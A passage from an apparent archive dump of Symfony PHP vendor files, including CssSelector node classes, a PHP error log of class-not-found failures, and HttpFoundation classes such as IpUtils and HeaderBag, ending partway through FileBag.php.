css-selector/Node/HashNode.php000064400000002361151113511460012241 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a "#" node. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class HashNode extends AbstractNode { private NodeInterface $selector; private string $id; public function __construct(NodeInterface $selector, string $id) { $this->selector = $selector; $this->id = $id; } public function getSelector(): NodeInterface { return $this->selector; } public function getId(): string { return $this->id; } public function getSpecificity(): Specificity { return $this->selector->getSpecificity()->plus(new Specificity(1, 0, 0)); } public function __toString(): string { return sprintf('%s[%s#%s]', $this->getNodeName(), $this->selector, $this->id); } } css-selector/Node/PseudoNode.php000064400000002477151113511460012625 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a ":" node. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class PseudoNode extends AbstractNode { private NodeInterface $selector; private string $identifier; public function __construct(NodeInterface $selector, string $identifier) { $this->selector = $selector; $this->identifier = strtolower($identifier); } public function getSelector(): NodeInterface { return $this->selector; } public function getIdentifier(): string { return $this->identifier; } public function getSpecificity(): Specificity { return $this->selector->getSpecificity()->plus(new Specificity(0, 1, 0)); } public function __toString(): string { return sprintf('%s[%s:%s]', $this->getNodeName(), $this->selector, $this->identifier); } } css-selector/Node/Specificity.php000064400000003430151113511460013021 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a node specificity. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @see http://www.w3.org/TR/selectors/#specificity * * @author Jean-François Simon * * @internal */ class Specificity { public const A_FACTOR = 100; public const B_FACTOR = 10; public const C_FACTOR = 1; private int $a; private int $b; private int $c; public function __construct(int $a, int $b, int $c) { $this->a = $a; $this->b = $b; $this->c = $c; } public function plus(self $specificity): self { return new self($this->a + $specificity->a, $this->b + $specificity->b, $this->c + $specificity->c); } public function getValue(): int { return $this->a * self::A_FACTOR + $this->b * self::B_FACTOR + $this->c * self::C_FACTOR; } /** * Returns -1 if the object specificity is lower than the argument, * 0 if they are equal, and 1 if the argument is lower. */ public function compareTo(self $specificity): int { if ($this->a !== $specificity->a) { return $this->a > $specificity->a ? 1 : -1; } if ($this->b !== $specificity->b) { return $this->b > $specificity->b ? 1 : -1; } if ($this->c !== $specificity->c) { return $this->c > $specificity->c ? 1 : -1; } return 0; } } css-selector/Node/ElementNode.php000064400000002520151113511460012744 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a "|" node. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class ElementNode extends AbstractNode { private ?string $namespace; private ?string $element; public function __construct(string $namespace = null, string $element = null) { $this->namespace = $namespace; $this->element = $element; } public function getNamespace(): ?string { return $this->namespace; } public function getElement(): ?string { return $this->element; } public function getSpecificity(): Specificity { return new Specificity(0, 0, $this->element ? 1 : 0); } public function __toString(): string { $element = $this->element ?: '*'; return sprintf('%s[%s]', $this->getNodeName(), $this->namespace ? $this->namespace.'|'.$element : $element); } } css-selector/Node/ClassNode.php000064400000002402151113511460012417 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a "." node. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class ClassNode extends AbstractNode { private NodeInterface $selector; private string $name; public function __construct(NodeInterface $selector, string $name) { $this->selector = $selector; $this->name = $name; } public function getSelector(): NodeInterface { return $this->selector; } public function getName(): string { return $this->name; } public function getSpecificity(): Specificity { return $this->selector->getSpecificity()->plus(new Specificity(0, 1, 0)); } public function __toString(): string { return sprintf('%s[%s.%s]', $this->getNodeName(), $this->selector, $this->name); } } css-selector/Node/AbstractNode.php000064400000001431151113511460013116 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Abstract base node class. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ abstract class AbstractNode implements NodeInterface { private string $nodeName; public function getNodeName(): string { return $this->nodeName ??= preg_replace('~.*\\\\([^\\\\]+)Node$~', '$1', static::class); } } css-selector/Node/CombinedSelectorNode.php000064400000003161151113511460014576 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a combined node. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class CombinedSelectorNode extends AbstractNode { private NodeInterface $selector; private string $combinator; private NodeInterface $subSelector; public function __construct(NodeInterface $selector, string $combinator, NodeInterface $subSelector) { $this->selector = $selector; $this->combinator = $combinator; $this->subSelector = $subSelector; } public function getSelector(): NodeInterface { return $this->selector; } public function getCombinator(): string { return $this->combinator; } public function getSubSelector(): NodeInterface { return $this->subSelector; } public function getSpecificity(): Specificity { return $this->selector->getSpecificity()->plus($this->subSelector->getSpecificity()); } public function __toString(): string { $combinator = ' ' === $this->combinator ? '' : $this->combinator; return sprintf('%s[%s %s %s]', $this->getNodeName(), $this->selector, $combinator, $this->subSelector); } } css-selector/Node/SelectorNode.php000064400000002632151113511460013137 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a "(::|:)" node. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class SelectorNode extends AbstractNode { private NodeInterface $tree; private ?string $pseudoElement; public function __construct(NodeInterface $tree, string $pseudoElement = null) { $this->tree = $tree; $this->pseudoElement = $pseudoElement ? strtolower($pseudoElement) : null; } public function getTree(): NodeInterface { return $this->tree; } public function getPseudoElement(): ?string { return $this->pseudoElement; } public function getSpecificity(): Specificity { return $this->tree->getSpecificity()->plus(new Specificity(0, 0, $this->pseudoElement ? 1 : 0)); } public function __toString(): string { return sprintf('%s[%s%s]', $this->getNodeName(), $this->tree, $this->pseudoElement ? '::'.$this->pseudoElement : ''); } } css-selector/Node/error_log000064400000015522151113511460011757 0ustar00[25-Nov-2025 02:31:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/NegationNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/NegationNode.php on line 24 [25-Nov-2025 02:33:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/HashNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/HashNode.php on line 24 [25-Nov-2025 03:00:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/FunctionNode.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/FunctionNode.php on line 26 [25-Nov-2025 03:00:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/PseudoNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/PseudoNode.php on line 24 [25-Nov-2025 03:00:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/SelectorNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/SelectorNode.php on line 24 [25-Nov-2025 03:25:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/AttributeNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/AttributeNode.php on line 24 [25-Nov-2025 04:28:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/CombinedSelectorNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/CombinedSelectorNode.php on line 24 [25-Nov-2025 04:28:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/ClassNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/ClassNode.php on line 24 [25-Nov-2025 04:32:54 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Node\NodeInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/AbstractNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/AbstractNode.php on line 24 [25-Nov-2025 05:29:56 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/ElementNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/ElementNode.php on line 24 [25-Nov-2025 23:06:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Node\NodeInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/AbstractNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/AbstractNode.php on line 24 [25-Nov-2025 23:08:49 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/PseudoNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/PseudoNode.php on line 24 [25-Nov-2025 23:10:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/SelectorNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/SelectorNode.php on line 24 [25-Nov-2025 23:10:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/SelectorNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/SelectorNode.php on line 24 [26-Nov-2025 01:38:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/ClassNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/ClassNode.php on line 24 [26-Nov-2025 01:52:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/CombinedSelectorNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/CombinedSelectorNode.php on line 24 [26-Nov-2025 03:33:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/AttributeNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/AttributeNode.php on line 24 [26-Nov-2025 03:33:13 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/ElementNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/ElementNode.php on line 24 [26-Nov-2025 03:33:45 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/FunctionNode.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/FunctionNode.php on line 26 [26-Nov-2025 03:35:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Node\AbstractNode" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/NegationNode.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Node/NegationNode.php on line 24 css-selector/Node/NegationNode.php000064400000002547151113511460013130 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Node; /** * Represents a ":not()" node. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class NegationNode extends AbstractNode { private NodeInterface $selector; private NodeInterface $subSelector; public function __construct(NodeInterface $selector, NodeInterface $subSelector) { $this->selector = $selector; $this->subSelector = $subSelector; } public function getSelector(): NodeInterface { return $this->selector; } public function getSubSelector(): NodeInterface { return $this->subSelector; } public function getSpecificity(): Specificity { return $this->selector->getSpecificity()->plus($this->subSelector->getSpecificity()); } public function __toString(): string { return sprintf('%s[%s:not(%s)]', $this->getNodeName(), $this->selector, $this->subSelector); } } http-foundation/IpUtils.php000064400000016712151113511460011776 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * Http utility functions. * * @author Fabien Potencier */ class IpUtils { public const PRIVATE_SUBNETS = [ '127.0.0.0/8', // RFC1700 (Loopback) '10.0.0.0/8', // RFC1918 '192.168.0.0/16', // RFC1918 '172.16.0.0/12', // RFC1918 '169.254.0.0/16', // RFC3927 '0.0.0.0/8', // RFC5735 '240.0.0.0/4', // RFC1112 '::1/128', // Loopback 'fc00::/7', // Unique Local Address 'fe80::/10', // Link Local Address '::ffff:0:0/96', // IPv4 translations '::/128', // Unspecified address ]; private static array $checkedIps = []; /** * This class should not be instantiated. */ private function __construct() { } /** * Checks if an IPv4 or IPv6 address is contained in the list of given IPs or subnets. * * @param string|array $ips List of IPs or subnets (can be a string if only a single one) */ public static function checkIp(string $requestIp, string|array $ips): bool { if (!\is_array($ips)) { $ips = [$ips]; } $method = substr_count($requestIp, ':') > 1 ? 'checkIp6' : 'checkIp4'; foreach ($ips as $ip) { if (self::$method($requestIp, $ip)) { return true; } } return false; } /** * Compares two IPv4 addresses. * In case a subnet is given, it checks if it contains the request IP. * * @param string $ip IPv4 address or subnet in CIDR notation * * @return bool Whether the request IP matches the IP, or whether the request IP is within the CIDR subnet */ public static function checkIp4(string $requestIp, string $ip): bool { $cacheKey = $requestIp.'-'.$ip.'-v4'; if (null !== $cacheValue = self::getCacheResult($cacheKey)) { return $cacheValue; } if (!filter_var($requestIp, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV4)) { return self::setCacheResult($cacheKey, false); } if (str_contains($ip, '/')) { [$address, $netmask] = explode('/', $ip, 2); if ('0' === $netmask) { return self::setCacheResult($cacheKey, false !== filter_var($address, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV4)); } if ($netmask < 0 || $netmask > 32) { return self::setCacheResult($cacheKey, false); } } else { $address = $ip; $netmask = 32; } if (false === ip2long($address)) { return self::setCacheResult($cacheKey, false); } return self::setCacheResult($cacheKey, 0 === substr_compare(sprintf('%032b', ip2long($requestIp)), sprintf('%032b', ip2long($address)), 0, $netmask)); } /** * Compares two IPv6 addresses. * In case a subnet is given, it checks if it contains the request IP. * * @author David Soria Parra * * @see https://github.com/dsp/v6tools * * @param string $ip IPv6 address or subnet in CIDR notation * * @throws \RuntimeException When IPV6 support is not enabled */ public static function checkIp6(string $requestIp, string $ip): bool { $cacheKey = $requestIp.'-'.$ip.'-v6'; if (null !== $cacheValue = self::getCacheResult($cacheKey)) { return $cacheValue; } if (!((\extension_loaded('sockets') && \defined('AF_INET6')) || @inet_pton('::1'))) { throw new \RuntimeException('Unable to check Ipv6. Check that PHP was not compiled with option "disable-ipv6".'); } // Check to see if we were given a IP4 $requestIp or $ip by mistake if (!filter_var($requestIp, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV6)) { return self::setCacheResult($cacheKey, false); } if (str_contains($ip, '/')) { [$address, $netmask] = explode('/', $ip, 2); if (!filter_var($address, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV6)) { return self::setCacheResult($cacheKey, false); } if ('0' === $netmask) { return (bool) unpack('n*', @inet_pton($address)); } if ($netmask < 1 || $netmask > 128) { return self::setCacheResult($cacheKey, false); } } else { if (!filter_var($ip, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV6)) { return self::setCacheResult($cacheKey, false); } $address = $ip; $netmask = 128; } $bytesAddr = unpack('n*', @inet_pton($address)); $bytesTest = unpack('n*', @inet_pton($requestIp)); if (!$bytesAddr || !$bytesTest) { return self::setCacheResult($cacheKey, false); } for ($i = 1, $ceil = ceil($netmask / 16); $i <= $ceil; ++$i) { $left = $netmask - 16 * ($i - 1); $left = ($left <= 16) ? $left : 16; $mask = ~(0xFFFF >> $left) & 0xFFFF; if (($bytesAddr[$i] & $mask) != ($bytesTest[$i] & $mask)) { return self::setCacheResult($cacheKey, false); } } return self::setCacheResult($cacheKey, true); } /** * Anonymizes an IP/IPv6. * * Removes the last byte for v4 and the last 8 bytes for v6 IPs */ public static function anonymize(string $ip): string { $wrappedIPv6 = false; if (str_starts_with($ip, '[') && str_ends_with($ip, ']')) { $wrappedIPv6 = true; $ip = substr($ip, 1, -1); } $packedAddress = inet_pton($ip); if (4 === \strlen($packedAddress)) { $mask = '255.255.255.0'; } elseif ($ip === inet_ntop($packedAddress & inet_pton('::ffff:ffff:ffff'))) { $mask = '::ffff:ffff:ff00'; } elseif ($ip === inet_ntop($packedAddress & inet_pton('::ffff:ffff'))) { $mask = '::ffff:ff00'; } else { $mask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000'; } $ip = inet_ntop($packedAddress & inet_pton($mask)); if ($wrappedIPv6) { $ip = '['.$ip.']'; } return $ip; } /** * Checks if an IPv4 or IPv6 address is contained in the list of private IP subnets. */ public static function isPrivateIp(string $requestIp): bool { return self::checkIp($requestIp, self::PRIVATE_SUBNETS); } private static function getCacheResult(string $cacheKey): ?bool { if (isset(self::$checkedIps[$cacheKey])) { // Move the item last in cache (LRU) $value = self::$checkedIps[$cacheKey]; unset(self::$checkedIps[$cacheKey]); self::$checkedIps[$cacheKey] = $value; return self::$checkedIps[$cacheKey]; } return null; } private static function setCacheResult(string $cacheKey, bool $result): bool { if (1000 < \count(self::$checkedIps)) { // stop memory leak if there are many keys self::$checkedIps = \array_slice(self::$checkedIps, 500, null, true); } return self::$checkedIps[$cacheKey] = $result; } } http-foundation/ChainRequestMatcher.php000064400000001551151113511460014277 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * ChainRequestMatcher verifies that all checks match against a Request instance. * * @author Fabien Potencier */ class ChainRequestMatcher implements RequestMatcherInterface { /** * @param iterable $matchers */ public function __construct(private iterable $matchers) { } public function matches(Request $request): bool { foreach ($this->matchers as $matcher) { if (!$matcher->matches($request)) { return false; } } return true; } } http-foundation/StreamedJsonResponse.php000064400000012247151113511460014521 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * StreamedJsonResponse represents a streamed HTTP response for JSON. * * A StreamedJsonResponse uses a structure and generics to create an * efficient resource-saving JSON response. * * It is recommended to use flush() function after a specific number of items to directly stream the data. * * @see flush() * * @author Alexander Schranz * * Example usage: * * function loadArticles(): \Generator * // some streamed loading * yield ['title' => 'Article 1']; * yield ['title' => 'Article 2']; * yield ['title' => 'Article 3']; * // recommended to use flush() after every specific number of items * }), * * $response = new StreamedJsonResponse( * // json structure with generators in which will be streamed * [ * '_embedded' => [ * 'articles' => loadArticles(), // any generator which you want to stream as list of data * ], * ], * ); */ class StreamedJsonResponse extends StreamedResponse { private const PLACEHOLDER = '__symfony_json__'; /** * @param mixed[] $data JSON Data containing PHP generators which will be streamed as list of data * @param int $status The HTTP status code (200 "OK" by default) * @param array $headers An array of HTTP headers * @param int $encodingOptions Flags for the json_encode() function */ public function __construct( private readonly array $data, int $status = 200, array $headers = [], private int $encodingOptions = JsonResponse::DEFAULT_ENCODING_OPTIONS, ) { parent::__construct($this->stream(...), $status, $headers); if (!$this->headers->get('Content-Type')) { $this->headers->set('Content-Type', 'application/json'); } } private function stream(): void { $generators = []; $structure = $this->data; array_walk_recursive($structure, function (&$item, $key) use (&$generators) { if (self::PLACEHOLDER === $key) { // if the placeholder is already in the structure it should be replaced with a new one that explode // works like expected for the structure $generators[] = $key; } // generators should be used but for better DX all kind of Traversable and objects are supported if (\is_object($item)) { $generators[] = $item; $item = self::PLACEHOLDER; } elseif (self::PLACEHOLDER === $item) { // if the placeholder is already in the structure it should be replaced with a new one that explode // works like expected for the structure $generators[] = $item; } }); $jsonEncodingOptions = \JSON_THROW_ON_ERROR | $this->encodingOptions; $keyEncodingOptions = $jsonEncodingOptions & ~\JSON_NUMERIC_CHECK; $jsonParts = explode('"'.self::PLACEHOLDER.'"', json_encode($structure, $jsonEncodingOptions)); foreach ($generators as $index => $generator) { // send first and between parts of the structure echo $jsonParts[$index]; if ($generator instanceof \JsonSerializable || !$generator instanceof \Traversable) { // the placeholders, JsonSerializable and none traversable items in the structure are rendered here echo json_encode($generator, $jsonEncodingOptions); continue; } $isFirstItem = true; $startTag = '['; foreach ($generator as $key => $item) { if ($isFirstItem) { $isFirstItem = false; // depending on the first elements key the generator is detected as a list or map // we can not check for a whole list or map because that would hurt the performance // of the streamed response which is the main goal of this response class if (0 !== $key) { $startTag = '{'; } echo $startTag; } else { // if not first element of the generic, a separator is required between the elements echo ','; } if ('{' === $startTag) { echo json_encode((string) $key, $keyEncodingOptions).':'; } echo json_encode($item, $jsonEncodingOptions); } if ($isFirstItem) { // indicates that the generator was empty echo '['; } echo '[' === $startTag ? ']' : '}'; } // send last part of the structure echo $jsonParts[array_key_last($jsonParts)]; } } http-foundation/HeaderBag.php000064400000015752151113511460012212 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * HeaderBag is a container for HTTP headers. * * @author Fabien Potencier * * @implements \IteratorAggregate> */ class HeaderBag implements \IteratorAggregate, \Countable { protected const UPPER = '_ABCDEFGHIJKLMNOPQRSTUVWXYZ'; protected const LOWER = '-abcdefghijklmnopqrstuvwxyz'; /** * @var array> */ protected $headers = []; protected $cacheControl = []; public function __construct(array $headers = []) { foreach ($headers as $key => $values) { $this->set($key, $values); } } /** * Returns the headers as a string. */ public function __toString(): string { if (!$headers = $this->all()) { return ''; } ksort($headers); $max = max(array_map('strlen', array_keys($headers))) + 1; $content = ''; foreach ($headers as $name => $values) { $name = ucwords($name, '-'); foreach ($values as $value) { $content .= sprintf("%-{$max}s %s\r\n", $name.':', $value); } } return $content; } /** * Returns the headers. * * @param string|null $key The name of the headers to return or null to get them all * * @return ($key is null ? array> : list) */ public function all(string $key = null): array { if (null !== $key) { return $this->headers[strtr($key, self::UPPER, self::LOWER)] ?? []; } return $this->headers; } /** * Returns the parameter keys. * * @return string[] */ public function keys(): array { return array_keys($this->all()); } /** * Replaces the current HTTP headers by a new set. * * @return void */ public function replace(array $headers = []) { $this->headers = []; $this->add($headers); } /** * Adds new headers the current HTTP headers set. * * @return void */ public function add(array $headers) { foreach ($headers as $key => $values) { $this->set($key, $values); } } /** * Returns the first header by name or the default one. */ public function get(string $key, string $default = null): ?string { $headers = $this->all($key); if (!$headers) { return $default; } if (null === $headers[0]) { return null; } return (string) $headers[0]; } /** * Sets a header by name. * * @param string|string[]|null $values The value or an array of values * @param bool $replace Whether to replace the actual value or not (true by default) * * @return void */ public function set(string $key, string|array|null $values, bool $replace = true) { $key = strtr($key, self::UPPER, self::LOWER); if (\is_array($values)) { $values = array_values($values); if (true === $replace || !isset($this->headers[$key])) { $this->headers[$key] = $values; } else { $this->headers[$key] = array_merge($this->headers[$key], $values); } } else { if (true === $replace || !isset($this->headers[$key])) { $this->headers[$key] = [$values]; } else { $this->headers[$key][] = $values; } } if ('cache-control' === $key) { $this->cacheControl = $this->parseCacheControl(implode(', ', $this->headers[$key])); } } /** * Returns true if the HTTP header is defined. */ public function has(string $key): bool { return \array_key_exists(strtr($key, self::UPPER, self::LOWER), $this->all()); } /** * Returns true if the given HTTP header contains the given value. */ public function contains(string $key, string $value): bool { return \in_array($value, $this->all($key)); } /** * Removes a header. * * @return void */ public function remove(string $key) { $key = strtr($key, self::UPPER, self::LOWER); unset($this->headers[$key]); if ('cache-control' === $key) { $this->cacheControl = []; } } /** * Returns the HTTP header value converted to a date. * * @throws \RuntimeException When the HTTP header is not parseable */ public function getDate(string $key, \DateTime $default = null): ?\DateTimeInterface { if (null === $value = $this->get($key)) { return $default; } if (false === $date = \DateTime::createFromFormat(\DATE_RFC2822, $value)) { throw new \RuntimeException(sprintf('The "%s" HTTP header is not parseable (%s).', $key, $value)); } return $date; } /** * Adds a custom Cache-Control directive. * * @return void */ public function addCacheControlDirective(string $key, bool|string $value = true) { $this->cacheControl[$key] = $value; $this->set('Cache-Control', $this->getCacheControlHeader()); } /** * Returns true if the Cache-Control directive is defined. */ public function hasCacheControlDirective(string $key): bool { return \array_key_exists($key, $this->cacheControl); } /** * Returns a Cache-Control directive value by name. */ public function getCacheControlDirective(string $key): bool|string|null { return $this->cacheControl[$key] ?? null; } /** * Removes a Cache-Control directive. * * @return void */ public function removeCacheControlDirective(string $key) { unset($this->cacheControl[$key]); $this->set('Cache-Control', $this->getCacheControlHeader()); } /** * Returns an iterator for headers. * * @return \ArrayIterator> */ public function getIterator(): \ArrayIterator { return new \ArrayIterator($this->headers); } /** * Returns the number of headers. */ public function count(): int { return \count($this->headers); } /** * @return string */ protected function getCacheControlHeader() { ksort($this->cacheControl); return HeaderUtils::toString($this->cacheControl, ','); } /** * Parses a Cache-Control HTTP header. */ protected function parseCacheControl(string $header): array { $parts = HeaderUtils::split($header, ',='); return HeaderUtils::combine($parts); } } http-foundation/README.md000064400000001016151113511460011142 0ustar00HttpFoundation Component ======================== The HttpFoundation component defines an object-oriented layer for the HTTP specification. Resources --------- * [Documentation](https://symfony.com/doc/current/components/http_foundation.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) http-foundation/LICENSE000064400000002054151113511460010673 0ustar00Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. http-foundation/FileBag.php000064400000007371151113511460011677 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; use Symfony\Component\HttpFoundation\File\UploadedFile; /** * FileBag is a container for uploaded files. * * @author Fabien Potencier * @author Bulat Shakirzyanov */ class FileBag extends ParameterBag { private const FILE_KEYS = ['error', 'name', 'size', 'tmp_name', 'type']; /** * @param array|UploadedFile[] $parameters An array of HTTP files */ public function __construct(array $parameters = []) { $this->replace($parameters); } /** * @return void */ public function replace(array $files = []) { $this->parameters = []; $this->add($files); } /** * @return void */ public function set(string $key, mixed $value) { if (!\is_array($value) && !$value instanceof UploadedFile) { throw new \InvalidArgumentException('An uploaded file must be an array or an instance of UploadedFile.'); } parent::set($key, $this->convertFileInformation($value)); } /** * @return void */ public function add(array $files = []) { foreach ($files as $key => $file) { $this->set($key, $file); } } /** * Converts uploaded files to UploadedFile 